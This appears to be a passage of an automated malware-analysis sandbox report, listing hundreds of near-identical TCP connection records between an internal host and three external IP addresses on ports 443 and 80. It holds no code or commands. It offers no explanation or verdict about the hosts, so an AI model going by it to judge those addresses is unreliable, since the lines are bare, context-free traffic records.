                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
